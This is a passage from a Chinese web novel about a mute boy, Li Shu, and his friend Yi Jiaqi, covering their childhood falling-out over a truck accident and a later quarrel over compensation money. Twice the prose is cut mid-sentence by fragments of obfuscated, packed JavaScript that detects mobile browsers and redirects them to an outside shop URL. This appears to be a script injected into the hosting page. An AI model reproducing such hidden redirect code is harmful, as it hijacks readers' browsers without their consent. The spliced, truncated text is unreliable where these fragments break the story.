林家豪挣扎了几下,冲易佳期说:“你要保李树,你给我发个消息我就知道了,何必弄成这样。” “永远是这样,什么都不告诉我,你们之间永远有小秘密!” “真这么好,当初你俩为什么绝交?!” 林家豪大叫:“说啊!” 说者无心,听者有意。林家豪是话赶话问出来了,并不在意答案和真相。 李树却感觉浑身发冷。 很多年过去了,和易佳期绝交那天发生的事情,还是如梦魇一般。 恍恍惚惚,好些岁月。 11. 柠檬 十二岁的夏天,刚升上六年级,虽说要面临小升初,但科目不多,课业没重多少,回迁房这边的小孩照旧放了学一起玩闹,精力比树上的蝉鸣还旺。 易佳期轻车熟路掀开白棉被,推开冰箱,把头往里面一插,趁着选雪糕的功夫,凉快凉快。 凉快够了,她转头问:“都吃什么的?” “雪莲!”“绿舌头!” 易佳期利索地挑出来,朝李树问,“你吃什么?” 「和你一样。」 “老板!”易佳期扯着嗓子往店里喊,“一个雪莲,一个绿舌头,两个大头,两块钱给你放上面了。” 拿着雪糕,易佳期领她们到小店后面的空地上,“吃吧,吃完再回去。” 不远处,一群差不多年龄的小孩手拉着手在玩冲大炮。 薛佳拆开袋子,不解地看了一圈:“咱们为什么在这躲着吃?” 薛佳年纪在她们中最大,已经上了初中,上下学的时间和她们出入不小,又要上补习班,已经很久没和她们一起玩过了。 在她的印象里,易佳期吃雪糕从来都是前呼后拥,身后盘着串看不见头的跟屁虫。 当然,小前提是有李树跟着买单。 易佳期抬手,拍了拍李树的兜,叮铃咣铛一阵响。 得到指示,李树把口袋翻过来,倒到手里的,只有一堆硬币。 李树的大爷混蛋归混蛋,但还算没有食言,月月都给他打500生活费,每个月初,李树的兜里都能摸出来红彤彤的钞票。 薛佳明白了,倒吸口气,“你们真行啊,把大款儿都吃穷了。” 易佳期蹲在地上,揪了把草,又扔掉,“下个月有了钱也不请了,一个个的,拿了李树的雪糕,见了他面连个招呼都不打。” 说着,她顺手往林家豪脑袋上盖了一巴掌,“尤其是你,天天跟着吃香喝辣,以后对李树客气点!” 这一巴掌劲不小,林家豪手里的雪莲都被打掉一个,他抱头,像被踩了尾巴一样大叫,“知道了!知道了!” 李树默默看着,烈阳烤着他的后背,他的心里却觉得有道水流般酥服。 这是他被易佳期拉入她生活的第二年。 他也是和易佳期相处了一阵才发现,易佳期不仅仅是人缘好,更确切地说,她是回迁房这片的孩子王。 只要她站楼下喊一声“出来玩”,楼上的小朋友就呼呼啦啦的像弹珠一样滚溜下来了。 但从古至今,大王就没有好当的,一不小心亡国的比比皆是。 易佳期就经常和他感叹做孩子王的辛苦。 最困扰的就是,太受欢迎了。身边的人多矛盾也就多,互相看不上眼的更数都数不过来。 李树知道,林家豪就十分看不惯他。 还经常问易佳期一些类似“你和李树真玩还是和我真玩?”的问题。 所幸,易佳期十次有九次都站在他这边。 李树对易佳期身边的人没什么想法,那是易佳期的朋友,对易佳期好就够了,他只和易佳期玩,别人怎么看他,无所谓。 就像林家豪,虽然时常冲他吆五喝六,但对易佳期很是尊敬。 去年易佳期过生日,林家豪还从家里摸了个金项链,牡丹样式,漂亮得很。只是后来才知道,那项链是他妈爸结婚时买的,最后是他妈揪着他的耳朵亲自上门要了回去。 这事之后,林家豪还落了个“耗子”的外号。 “易佳期!易佳期!”整齐的叫喊声从不远处掷过来。 易佳期转头,李树看她转头,也跟着往后看,刚还在玩冲大炮的人,队形已经散了,三五成群地站一起,用手比划成喇叭状喊着易佳期的名字。 她们在催她回去。 这种情况很常见,回迁房这片的小孩经常玩在一起,很熟,但这种关系,更像一种条件函数,有易佳期在,大家能玩得难舍难分,家里人拎着衣服撑子下来喊人都喊不走。易佳期不在,大家也能一块玩,只是气氛明显没有那么热络。 易佳期扫了一圈,“都吃完了吧,走,回去了。” 回了大空地,才知道,冲大炮不能玩了。 小区里有人搬家,拉家具的车进进出出,嫌她们这群小孩太碍事了。 跑来跑去也不安全。 “不能跑,那还能玩什么?”有人提出疑问。 大家大眼瞪小眼,是啊,常玩的三个字、丢沙包、撕名牌、老鹰抓小鸡,都少不了跑几步。 “玩那个吧,有缘没缘。”薛佳提议。 这种突然风靡起来的流行大多没有名字,课间十分钟上个厕所就没了,来不及跑出去跳绳丢沙包,就给了这些室内小游戏萌芽的土壤。 之前流行一边手攥紧拳头,另一边手按住血管,然后看手腕上有几个小馒头,以后就有几个小孩。现在流行又变了。 薛佳一提,易佳期就知道她说的什么游戏了。林家豪还不知道,撅着屁股往前:“啥有缘没缘?咋玩?” 易佳期冲他招手,“来,你过来。” 林家豪不明所以地过去。易佳期又道:“两只手伸出来。” 李树其实也不知道这是什么游戏,站在一旁认真看。 林家豪把两只手摊开。易佳期往后撤了一条腿,林家豪刚露出疑惑的神色。 下一秒,易佳期就蹦起来打到他的手上。 “你干啥啊!”林家豪震惊了。 易佳期很淡定,不解释。“哪个更疼?” 林家豪犹豫了一会,才抬起一只手:“这个吧。” “好。”易佳期又按住他的手指使劲捏。 弄得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485759|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林家豪嗷呦嗷呦地叫。 “哪个更疼。” 林家豪颤颤悠悠抻出小拇指,易佳期继续,她用两只手的食指,在林家豪小拇指上不断交叠,口中念念有词。 “一二三四,四部,来跟我做。”易佳期两个胳膊在胸前来回倒腾,最后她冲林家豪伸手,两个人的四只手握在一起,回转交缠。 易佳期一扯,刚才看着还很复杂的人绳,一下就开了。 “咱俩没缘。”易佳期很冷酷地宣布结果。 随后,径直绕过晃神的林家豪,到薛佳身边。 两个人按照刚才的步骤重来一遍,这次,两个人的手握住之后,紧紧锁在一起,怎么都分不开。 “哇,咱俩有缘分!”易佳期很激动,抱着薛佳跳了跳。 两种截然不同的结果,李树已经看呆了,世界上竟然还有这么神奇的游戏。 大家也都很骚动,“我也要玩,易佳期,我也要玩!”“和我玩,先和我玩!” 一伙人朝着易佳期的方向一拥而上,李树站在一边,被人推了好几把,他反应过来往前挤,已经挤不过去了。 他认命地排到后面。 易佳期速度很快,两分钟搞定一个,李树跟在队伍后面,只听到易佳期爽利的声音:“咱俩有缘、咱俩没缘…” 马上就要到李树,队伍却停了下来—— 不远处传来道呼喊,一伙人都循着声音源头去看,是薛佳的妈妈,站在窗口,一边扇扇子一边喊人。 “回来吃饭!” 薛佳抬头,大声朝楼上回了句:“知道了!” 天色已经有点暗下来了,薛佳妈妈看了她们一眼,又喊了声:“天要黑了,你们也赶紧回家。” 一伙人的动作明显拘束起来。她们这个年纪还处在对老师又怕又敬的阶段,一见老师,再调皮的小孩也比鹌鹑还鹌鹑。 只有易佳期跺了跺脚,朝楼上比了个敬礼的姿势:“遵命!” 薛佳摇手和她们拜拜,临走前,她专门嘱咐易佳期道:“这几天你们晚上别出去乱跑了,我小姨说她们工厂最近出货,这几天路上的大车特别多。” 这么一打岔,有缘没缘的游戏也没下文了。 李树绕过前面的人,刚想抬手拍易佳期,林家豪便一个侧身挤了过来。 “哎,走啊,寻宝去不去?”林家豪兴致冲冲。 “什么寻宝,你刚才去哪了?”易佳期问。 “刚才不有人搬家嘛,好多东西没带走,说不要了,搬新家买新的,我去看了,还有好多阿衰呢!哦对,还有只溜冰鞋!” 林家豪语速特快,李树根本插不上手,他隐隐有预感,有缘没缘这个游戏,他可能玩不上了。 果然,周围几个人都来了兴趣,最后易佳期拍板:“走,看看去!” 12. 绿火车 一行人浩浩荡荡往林家豪指的方向走。 见易佳期动身,李树想都不想也跟上前去。 一路上,林家豪都洋溢着一股夸张的热情,不停地冲她们说着那堆被抛下的行李中,有多少宝藏。 什么蛇板啦,点读机啦,变速车啦,搞得大家越跑越快,去晚了就抢不到似的。 易佳期没有跑,李树也没有,两个人相视一笑,都知道林家豪多半是在说大话跑火车。 果然,到了地方,众人大失所望——东西并不多,明明白白地铺在地上,都是大家具,偶尔有一两件破旧的家电,哪里有什么溜冰鞋、蛇板、点读机? 几个人转了一圈,回过头来问林家豪,“你说的宝藏呢?” 林家豪撅着腚在行李山上翻,“寻宝,寻宝,寻你懂什么意思吗?当然得自己找了!” 有人不相信,“耗子,你不会是在骗人吧?” 这个称呼精准踩中林家豪的雷点,眼见林家豪又要叫唤,易佳期上前,从一堆东西里精准地夹出本薄书,“这不是有吗,故事会。” 几个人都凑过来,传着看了看,“哇,真有宝藏!” 林家豪挺了挺腰,“我就说吧!” 不一会,旁边又有人惊呼:“我找到了溜冰鞋!” “哇,阿衰全集!” 有了这些前哨,大家不再怀疑林家豪的话,都热火朝天地投入到寻宝的队伍中。 李树站在其中,觉得自己有些格格不入。他对大家说的那些东西没有兴趣,这么说不太准确,实际上,从小到大,他没有过特别喜欢的人、事、物。 也许是从生下来他拥有的东西就比别人少,所以对“失去”格外敏感,没有,就不怕失去。 他的视线看向易佳期。 目前为止,和易佳期的友情,是他唯一需要守护的东西。 所以,为了这个,他愿意忍受林家豪的欺负,也愿意承受易佳期身边人的冷眼。 易佳期混在寻宝的队伍里,暂时还一无所获。李树觉得,易佳期对这些应该也没什么兴趣。 易佳期的眼睛特别尖,如果她想要什么,早就全都找出来了。之前老师说过一句话,李树记了很久,“一个聪明的人,绝不会只有聪明这一个优点。” 易佳期就是这样的,因为聪明所以什么都做得好。 李树往前挪了几步,离易佳期近了点,他想问易佳期走不走,他还有十块钱,她们可以去买点鸡柳吃。 他伸手去打算去拍她,却发现,易佳期站在“藏宝堆”上,视线却一直落在不远处。 李树顺着她的视线看过去,是一辆木头板车,样子已经有些破了,大概是因为这个,所以运完家具,那户人家没把它带走。 他的手落到易佳期的肩上,易佳期受到惊吓似的转过脸来,那一瞬间,她的眼神很冷,很陌生。 但也只是那一瞬,几乎像错觉,下一秒,易佳期看到是他,眼睛又弯起来。 李树问她:「你是想要那个板车吗?」 易佳期手指动了动:No No~ 她随手往后一指:「我看上那个折叠床了,还挺新呢,我们拿回去,以后晚上你自己在家害怕,就可以来我家睡了。」 「不过这么沉,咱们几个可搬不动,可以用那个板车运回去。」 李树什么都顾不上想了,只听见易佳期说会在她家给他留个床位。 这种待遇连薛佳都没有呢!林家豪知道了肯定要打滚吧! 他没忍住,露出浅浅的笑容,「我去推板车。」 一伙人挑到天色真正暗下来,才带着战利品各回各家。李树推着板车去了楼下的车库,易佳期说折叠床有点脏,等周末哪天,拿着水管在楼下冲一遍,晒干了再让人搬上楼。 易佳期家的车库租出去了,很多她们不能带回家的东西,都先放在他家的车库里。 拉下卷帘门之前,易佳期站在他身边,很短促地回头往车库里看了一眼,不知道为什么,李树觉得,易佳期这一眼还是在看板车。 「林家豪或者别人问起,就说床是你想带回家,不然,她们知道我让你在家里睡,又要背后讲你了。」 李树听话点头,「知道了。」 易佳期总是这么为他着想。 后面的两三天,易佳期都没怎么出来玩。 回迁房这片的小孩大多数在附近的那所小学,易佳期的学校远一点。 李树听易佳期提过几嘴,说她学校有开学考,按照成绩重新分班,最好的班级和会望中学有合作,小升初县排名前100,初中可以免除所有学杂费。 会望中学是县城唯一一家私立中学,学费很贵,教学条件和升学率都比普通的公立好很多。 放学回来之后的漫长时间,李树就睡觉。 平时,到了家没一会,易佳期就会喊他出来玩。 她们一起看漫画,一起玩小游戏,一起看海绵宝宝,一起去小吃街买鸡柳和酱香饼,或者只是在楼下玩跳皮筋。 李树只有自己的时候,能做的事情,却只有等待。 那天,他意外地没有一觉睡到天亮,而是在中间醒来了。 爬起来看了看客厅的钟表,夜里9点多,快10点。他摸了摸空空的肚子,套上件外套,打算去门口的小卖铺,买几包泡面。 出门的时候,易佳期家的门紧紧闭着,门缝里也没有亮光透出来。 这个时间,她大概已经睡觉了。李树望了望昏暗的楼梯,擞了擞外套,独自下楼。 那时候,他还不知道,他往后的许多年,都在为这趟出门的决定后悔。 出了小区门才发现小卖铺已经歇下了。李树只好往远一点的大超市去。 这个点,路上没有什么行人了,只有几辆汽车匆匆而过。 而汽车中,也是运货的大车比较多。 他飞快地跑着,只想赶紧买完赶紧回家。路刚刚走了一半,他却放慢了速度。 不远处的大马路上,竟然歪着个人。 慌慌张张跑过去之后,李树更是瞪大了眼睛——那人竟是张叔叔,易佳期的爸爸! 他不用蹲下去,已经闻到了浓浓的酒气。 李树与他打的照面不多,张叔叔不经常在家,也正因为此,易佳期的家成了一群小孩子里,为数不多的“没有大人的乐园”。 偶尔,张叔叔回家早的时候会碰上她们,也不像寻常大人那样板着张脸,他很爱开玩笑,经常做很夸张的动作逗乐她们,碰上饭点,会烧很大很大一锅菜,留她们吃饭。 李树不会说话,只好下手拍他。 拍了几下,有动静,李树就知道,张叔叔不是在马路上睡觉,而是真的醉了,站不起来了。 他尝试了几下,喝醉的人比铁还要沉,他根本拉不起来。 对了!板车! 李树用最快的速度往小区跑,不知道是不是风吹的缘故,李树跑到最后,感觉自己的眼睛也湿了。 他这时候才反应过来,自己在害怕。 回迁房这边靠近国道,货运大车进县出县,都要经过这条路,不少司机为了多跑几趟,疲劳驾驶,所以,她们这边隔半年一年就有车祸。 他害怕,在他走开的这段时间,万一真出了事情怎么办? 他从来没有见过易佳期的妈妈,她爸爸如果也不在了,易佳期就也变成孤儿了。 没有人比李树更知道孤儿的处境。 到最后,他几乎是拉着板车狂奔。 … 李树担心的事情没有发生,没有疲劳驾驶,没有横冲直撞的大货,那晚,李树拉着醉酒的张克强,平安地回到了小区。 他把车库里折叠床摊开,收拾了个睡觉的地方。 次日,放学回来,车库里已经没了张克强的身影,应该是酒醒了,自己开门走了。 易佳期依旧没有出门找他玩。 再见易佳期,是两天后。李树照常写完作业,打算睡觉。 头发刚挨到枕头,易佳期便拿钥匙打开他家的门,欢快地跑进来。 李树抓紧抬手,想要告诉她那天张叔叔的事情,易佳期却先一步抓住了他的手。 她牵着他蹦蹦跳跳:“李树,我考进一班啦!” 太好了,李树也很高兴,他的手被牵着,只好咧开一个大大的笑容。 易佳期,你真棒!他在心里说。 “走啦,去我家玩。”李树从没见过易佳期这么兴奋,他被感染着,也觉得开心得不得了。 玩闪翼双星的时候,李树又摔死了,和其它游戏不同,这个游戏暂时找不到无敌版。 李树很不好意思,「我又死了。」 易佳期使劲按了按他那边的键盘,「不赖你,这键盘按不下去,早该换了。」 她转过头来,冲他比划,「上次去耗子家的网吧,我看有好几台电脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来来来,坐下吃。” 李树心里有疑惑,「叔叔,这几天,你去哪了?」张克强平时满大街跑酒场,凌晨回家是常事,但像这样几天都不着家的情况,也不多见。 张克强先摆了摆手,随后他拿着酒杯,给自己满上酒,才开始说。 “我这几天值班呢。” 下一秒,他扔下一句惊掉人脑袋的话。 “我们厂里的司机,前几天在咱小区附近撞死人了!” 李树心头一紧。 “头都撵掉了,身子和脑袋一边一个,这几天家属闹的哟,天天坐厂子门口,哭着闹着要说法。”张克强说这些话丝毫没有避讳小孩子的自觉。 李树看着他的嘴型,胃里开始翻滚。 张克强夹了块牛肉,“厂里把我们几个保安都叫过去了,害怕家属闯进去了,现在日班夜班都得上,还不给加工资,爷爷的。” 一直沉默的易佳期抓住重点,“那你今天怎么回来了。” “司机保险下来了,愿意赔死人100万,那边立马消停了。” 说到这,他又倒了一杯酒,推到李树面前,“来,树儿,陪你叔叔喝一杯!” “车祸就出在咱小区门口那条路上,要不是你,说不定你叔那天也交代在那了,来,咱俩干一杯。” 李树摇头,指了指酒,意思是不能喝。 张克强笑了,“行,叔干了,以后想吃饭,直接上门,叔给你炒,咋样?” 李树笑了笑,他下意识去看易佳期。 以往这种时候,他做了什么好事情,易佳期总会给他比一个大拇指。 但这次,他转过脸去,看到的却是一张冰冷的面孔。 易佳期直勾勾盯着他。 那种眼神像是看带葱的酱香饼,系上口捂了一路的鸡柳,和肉里带毛的烤肠。 不不,李树觉得,比这些还要严重。 只是那时,他还不懂,比不喜欢更严重的情绪,叫怨恨。 那天开始,易佳期不再与他“说话”。 她们在约定好“永远”的日子,绝交了。 从此,李树变成真正的哑巴。 13. 青皮 六年级之后的几年里,李树的时间便不再流动。 他每天都有很多的觉要睡。 总是夜半惊醒,好像永远睡不到天亮了。 李树醒的很早,他套上袜子,蹑手蹑脚起身。宾馆的窗帘紧紧拉着,一丝光都透不进来。 掏出小灵通,看了看时间,早上6点半。 李树往前走了几步,够头去看床上的人形。易佳期还没有醒,横七竖八睡得正香。 易佳期的衣服都搭在沙发上,李树把衣服一件件拾起来,对着微弱的光源仔细看,从中挑出耐克牌的,搭配成套,放到易佳期脚边。 随后,他长臂一伸,又从自己的包里,掏出两个袋子,拉开拉链,把里面的东西小心地倒在易佳期的衣服上。 做完这些,他轻轻开门,下楼去买早餐。 走了没一会,易佳期也醒了。昨晚她睡得早,8点多就上床了,起床也就格外流畅,闹钟响了一声,便翻身坐起来。 然后,没有任何缓冲地撞上床尾精彩的一幕。 一套衣服整齐地摆在那里——红色的耐克背心,草绿色的速干短裤,还有两只配不成套的袜子,一边灰,一边黄。 最后的那一小坨…易佳期趴过去,伸出一根手指将它挑起来,小东西在她指尖摇摇晃晃。 是条…浅紫色的平角内裤。 女士的。 但不是她的。 易佳期一阵无语,平视一圈,目光停在李树敞着口的背包上。 她一下锁定了嫌疑人和嫌疑包。 从外表看,那也就是普通背包的大小。 她想起李树从里面掏出来的床上三件套,他那几身烂衣服、从市里带回来的整只烧鹅、牙刷牙缸一堆瓶瓶罐罐,还有这条奇怪的内裤和袜子。 这破包竟然能装这么多东西! 易佳期觉得,就算有一天,李树从里面掏出来一口锅,她可能都不意外了。 她想着,这边在早市采购的李树弯腰打了个喷嚏。 正是吃早饭的点,排队的人就没停过。 李树看了眼时间,从口袋里掏出张卡片,往店主眼前亮了亮,“快点”。 这是他在厂里养出来的习惯。 厂里除了坐办公室的,流水线上几乎都是计件工,对这些人来说,时间就是钱。 流水线上的人都很急,厂房热,又多了燥。说话慢一点都得上火的地方,自然容不下李树慢慢将话写下来。 被骂了几次之后,李树将常用到的话写在卡片上,想说哪句就拿那句。 老板够头看了一眼,又问:“你要的啥来着。” 李树掏出另一张:“油茶豆浆烧饼油条,各一份。” 油茶都是老板提前烧好放桶里的,交了钱自己打,油条和烧饼是现炸现烤,出了锅装袋子里,到家了还脆着呢。 老板应了一声,利落地把油条和烧饼扔进袋里。 回到宾馆已经7点多,李树进门,顺手把油茶挂在门把上,从塑料袋里倒出他买的饭缸,把豆浆连着袋子放里。 敞开口,掖好袋子,李树才转过身来。 易佳期已经醒了,但还在床上。 她平时不是习惯赖床的人。 李树有点奇怪,但没想太多,朝她晃了晃饭缸,「吃早饭。」 易佳期没有动,看看他,又看看脚边的衣服。 李树一下回过味来了。 易佳期用头点了点那堪称精彩的穿搭,“你给我搭配的衣服?” 打不过她,就想用这种方法谋害她? 李树点点头,「我在网上学的。」 易佳期眼睛一瞪:“你学的是穿搭啊,还是整蛊?” 李树没听懂易佳期什么意思,老实说:「学的高考穿搭,这样穿,考得高。」 高考穿搭?易佳期皱眉,什么鬼。她又去看那一坨不明物体。 红耐克,她勉强能理解,红对勾嘛,确实还算形象。绿短裤,她也稍微能领悟吧,大概是一路绿灯。 至于剩下两个,她就没太有想象力了。 她拎起来那两双袜子,不耻下问:“这俩什么意思,颜色都不一样。” 李树先指了指灰色的,又指了指黄色的,然后比划,「走向辉煌。」 行,可以,易佳期盯着他,从床上缓缓勾起那条紫色内裤,皮笑肉不笑,“这个也给我解释解释。” 李树脸一下红了,等了一会,他才抬手,「这个是,紫腚行。」 易佳期嘴角抽了抽,“你是不是觉得自己特幽默。” 她这句话很冷,不是开玩笑的语气,李树的表情也僵在脸上。 太奇怪了。 易佳期觉得李树这个人太奇怪了。无论前一天发生什么事,他都像没事人一样。 自从林家豪那事之后,两个人似乎就陷入这样的诡异循环——李树一如即往,没有展现出丝毫的不快,他越是这样,易佳期越是猜忌,她越是猜忌,他越是一如既往。 易佳期阴沉着脸起身,随便从沙发上抽了条背心裤子套上,越过李树,坐到放早餐的桌子旁。 这没来由的呛声,还得继续从两天前说起。 那日,林家豪被李树压制在地上,占了最下风,可还是不松口。 他不松口,李树自然也不松手。易佳期被林家豪吼得耳朵疼,又坐回石墩子上,百无聊赖地咬指甲。 直到林家豪都叫唤累了,李树还是死死按住他,没动。 林家豪梗着的脖颈沉了下去,头枕在马路上。不知道是否是大脑缺氧,濒危的智商奋力一搏,林家豪断了十九年的弦,忽然通了。 他紧紧盯着李树,“你是不是把钱给易佳期了。” 李树漆黑的眼睛一动,他腾不出手回答。 林家豪也不需要他的回答。 地上的林家豪咬牙,“我说呢,绝交了那么多年,没和好,怎么现在又好得跟一个人似的,原来如此!” 被压了太久,他的眼睛已经开始充血,死死看着人时,几乎像是恶鬼,“我要和易佳期说话!”他一字一句。 这话他冲李树说,声音却足够易佳期能听到。 湛蓝的天空依旧湛蓝,一只麻雀从眼前飞过,留下一片空白。 易佳期没有过来。 林家豪忽然一笑,盯着李树,话却是说给易佳期听:“他给了你多少钱?” “五万,十万,二十万,五十万,还是…” “八十万。” 他将八十万这三个字,咬得极重,是聋子都能感受到的强调。 易佳期低头看过去。 八十万,是传闻里李树拿到的所有赔偿金。 她站起身,大步跨到林家豪面前。 李树看到地上的影子,飞快回头看了易佳期一眼。 看到两人 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林家豪飞快往下讲,“我去了总店,问了边上好几个商户,她们告诉我,李树大爷这家店10来年前就在那里开,之前做摊位就很多人排队了,所以刚开店客流就很大。” “开了一年多,就火速有了第一家分店。” “都说李树大爷占了李树的钱,说来说去不就是李树大爷面包车换宝马,现在看来,换车用的钱也未必是李树的吧。” 李树摇头,着急看易佳期的脸,不对。 不是这样。 回应他的只有一束打量的目光。 “钱到底在哪,就看李树愿不愿意说真话了。”林家豪抬起眼。 眼前的一幕,迟缓地铺就在他的视野里。澄净的天空,边边角角里,先是李树的下颌,再是易佳期那让人无法移开视线的眼睛。 但那双眼睛,正冷冷地,专注地,审视着李树。 那双眼睛里面从来没有他。 无论他如何撒泼打滚,如何尖叫,讲话如何夸张,表情如何凶狠,他用尽浑身解数。 那双眼睛也从来不会对准他。 忽视,这就是这些年来,易佳期唯一投注在他身上的情感。 李树想解释,但两只手都用来按他了,只能徒劳地摇头。 林家豪用尽浑身力气,将脖子撑起来,把脸对着李树。 确保他能看清自己的口型。 “先别着急表忠心,咱三个也是这么多年朋友了,我告诉易佳期一个秘密,也应该告诉你一个。” 说着,他朝易佳期漏出一个疯狂的笑容。 易佳期有所察觉,但已经来不及了。 下一秒,林家豪盯着李树开口。 “你猜猜,三个月前我第一次堵你那天,谁给我发过消息?” 果然,他话音未落,易佳期的眼睛就已经锁定他,林家豪心头一跳,感觉自己要完了,却又很痛快。 同时,他也不愿意放过李树一丝一毫的表情变化。 他看到,李树下意识想回头,头动了一下,又忍住了。 真脆弱啊,他才只说了一句,李树就动摇了。 林家豪简直太得意了,他迫不及待说下去。 “想知道…” 林家豪感觉手腕一松,同时他的声音戛然而止—— 李树松开了对他的桎梏,并且死死捂住了他的嘴。 14. 柠檬 到最后,林家豪也没吐出实质性的东西来。 倒不是因为李树捂住了他的嘴。 李树捂嘴的举动只维持了不到一分钟,林家豪还没有缓过震惊的劲来,压在他身上的脸便换了一张—— 易佳期一把推开李树,抬腿往林家豪肚子上一砸。 “啊!”林家豪惨叫一声,但只有一声,因为下一秒,易佳期冷漠地注视着他,飞快掐住他的下巴。 只听“咔嚓”一声。 林家豪张大的嘴巴定格在脸上。 易佳期把他的下巴给卸了。 她出手的速度比李树更快,力道比李树更重,以至于完成这一切的时候,所有人都没反应过来。 疼痛霎时从两个方向传来,林家豪抱着肚子,忽然想到梁飞评价李树的下半段话。 “李树那种人,别人打他的时候他没法求饶,轮到他打别人了,又听不到人惨叫,他走这条路只会越来越没底线,越走越极端,早晚身上背条人命。” “但他只是木,不是真的狠。” 林家豪当时不理解,“那我呢,我感觉我挺狠的。” 梁飞看着他笑,好半天才说,“你?你那是虎,只会傻打傻冲,脑子里面摇浆糊。” 他说罢,往远处看,像是想到具体的人,“真的狠人,脑子一定是清楚的。” 林家豪看着易佳期的脸,他感觉,易佳期现在脑子一定很清楚。 她看起来像井水一样清楚。 “走。”她对着李树说。 那天之后,易佳期把李树带回了她住的宾馆,附近一片能住的宾馆都满了,李树买了个凉席在她房间打地铺。 事情好像就这样不声不响的过去。 林家豪没说完的那句话,李树不提,易佳期也就不提。 高考当前,她也不是神仙,没那么多心思和谁解释。 至于李树怎么想,是真的咽下去,还是想扮猪吃老虎,那八十万在不在他手里,他为什么非要跟着她,她怎么能把另外六十万弄过来,这些问题,都得搁置到高考后再说。 高考一眨眼就过去了,忙活好几年,三天就扔完了。 考完第二天,易佳期睡到日上三竿才起来。 醒来的时候,她转头看了地上的凉席,空的。李树起了。 睡得太久,头有点疼,她掐住太阳穴揉了揉,才坐起来。 视线里飘然插入一个大活人——李树坐在床尾的沙发上,双手扶着膝盖,正盯着她。 易佳期没忍住暴了声粗口,“爷爷的…” 她忍了又忍,才没有大骂出口,“你这是干什么?” 李树深吸一口气,才比划:「等你醒。」 随后,他接着道,「那天的事情,我们聊聊。」 来了来了,果然来了,易佳期心说。 她双手往后一撑,倚在枕头上,“你想聊什么?聊你怎么害我损失一百万,还是聊你怎么移花接木将赔偿金瞒过所有人?” 说罢,她才像突然想起似的,道:“哦哦,对,你想问林家豪围堵你,问你要钱,是不是我指使的?” 李树想说话,但比划毕竟比直接说出来麻烦,易佳期抢先说出来,“是我,又怎么样呢。” 李树愣住,大概是没想到她会这么坦荡地承认。 半晌,他才望着她问,「为什么告诉我。」 其实她可以不用说。 这个问题问得相当有意思,易佳期冷笑,“只有做了错事才需要遮掩,我又没错,有什么好藏的。” 既然话都说到这,易佳期就说得再明白一点,“错的人是你。” “是你先做错了事,你还不明白吗?要不是你,100万早就是我的了,我根本用不着为钱烦心,就更没必要费心把手往你兜里掏,说来说去,都是你自食恶果。” 易佳期站起身,走到面前,用指头狠狠点他的脑门,“一报还一报,你的报应来了,懂么?” 其中有一下力使大了,李树的脑袋“砰”一声,砸在他身后的墙上。 那一下撞的很重,李树眼神都有点涣散了,他缓了一下,想比划。 易佳期眼疾手快攥住他的胳膊,“你先别说话,我问你。” 情绪发泄完,就该考虑现实了。撕破脸是撕破脸的,但易佳期还不想和李树散伙。 毕竟八十万还没搞清楚,享受过一夜进账二十万的快乐,易佳期自然不想放手李树这棵摇钱树。 她盯着李树的眼睛,“我问你,你为什么非要跟着我走?” 李树宁愿给她二十万,也要跟她走,这也是易佳期不怕李树和她翻脸的主要原因。那可是二十万,不是二十块,李树已经付出了那么多,早就无法脱身了。 李树漆黑的眼睛同样也直视着她,易佳期松开他的手,“现在说吧。” 李树摇头,「我也不知道为什么,我就是心里想跟着你。」 这个回答很不合格,毫无信息量,但无所谓,易佳期继续问:“那你现在还想不想跟我走。” 李树很快答:「还想。」 很好。易佳期笑了,“那不就行了吗?还用纠结什么?你也算因祸得福了,要不是这个小考验,我也试不出来你会把钱给我,更没办法信任你。以后日子长着呢,我要对你心怀芥蒂,那受委屈的不还是你吗?” 李树点头,然后又摇头。 「我没有纠结这个,我想和你说的不是这件事。」 ? 这次轮到易佳期懵了,“那你不早说?” 李树表情木愣愣,「我也没机会开口。」 他停顿了一下,又比划道:「还有,你能和我讲那么长的话,我挺开心的。」 虽然都是骂他的。 「而且你还摸我脑门了。」 他管那几下叫摸。易佳期真心服了,有时候她觉得要理解李树的想法,就像要理解一个人屁股长在前面一样。 她叹了口气,“那你到底想说什么。” 李树刚想抬手,易佳期又摆手,“算了,不管你想说什么,都先放一放,先给我解释你大爷那事儿。” 这才是她最关心的。 李树点头,「我就是想说这个。」 他摸了摸口袋,从里面掏出一张存折,他把存取页摊开递过来。 存折上满满当当,大部分存取的金额都是500,只有两个数额比较特殊。 一个是2月15日,取款7500,余额36.78。 另一个是2月18日,转账200000,余额200036.78。 易佳期翻页,新开的一页上,只有一笔取款,200000,余额16.78。 她大概把情况摸明白了,“这7500是?” 大致扫了一眼,这7500,是他从小到大存的钱。 李树:「7000买手机,剩下500花了。」 易佳期大约能猜到他花哪了。 “这二十万是你大爷打给你的?还你的钱?” 李树点头。「当年我去到他家里的时候,他的确已经开店了,后来阳城东边开发,要开个银座,他听到消息,想要铺面,但没那么多钱,我爸的赔偿款又刚好批下来。」 弄来弄去,事情就这么简单。 易佳期看着李树的回答,并不十分意外。世事往往都是那么简单,只是人心隔肚皮,信任太难了。猜忌将一条直线绕成乱麻,到最后,面目全非。 易佳期坐床上,姿势变得随意了些,说话也开始像聊家常了,“这么多年你大爷也没提还钱的事,突然一下给你二十万,是你找他去要了吧。” 李树看她一眼,似乎在整理措辞。 两三分钟后,他才又“说”,「是,二月份我去了趟阳城,找我大爷要钱,他说生意不好,没钱还。我就走了。 只在我表弟学校门口摆了个喇叭。 第二天下午他就找上我,先给了我一巴掌,然后去转钱了。」 易佳期想象了一下那个画面,乐不可支,哎哟半天,“没想到你平时不声不响,心 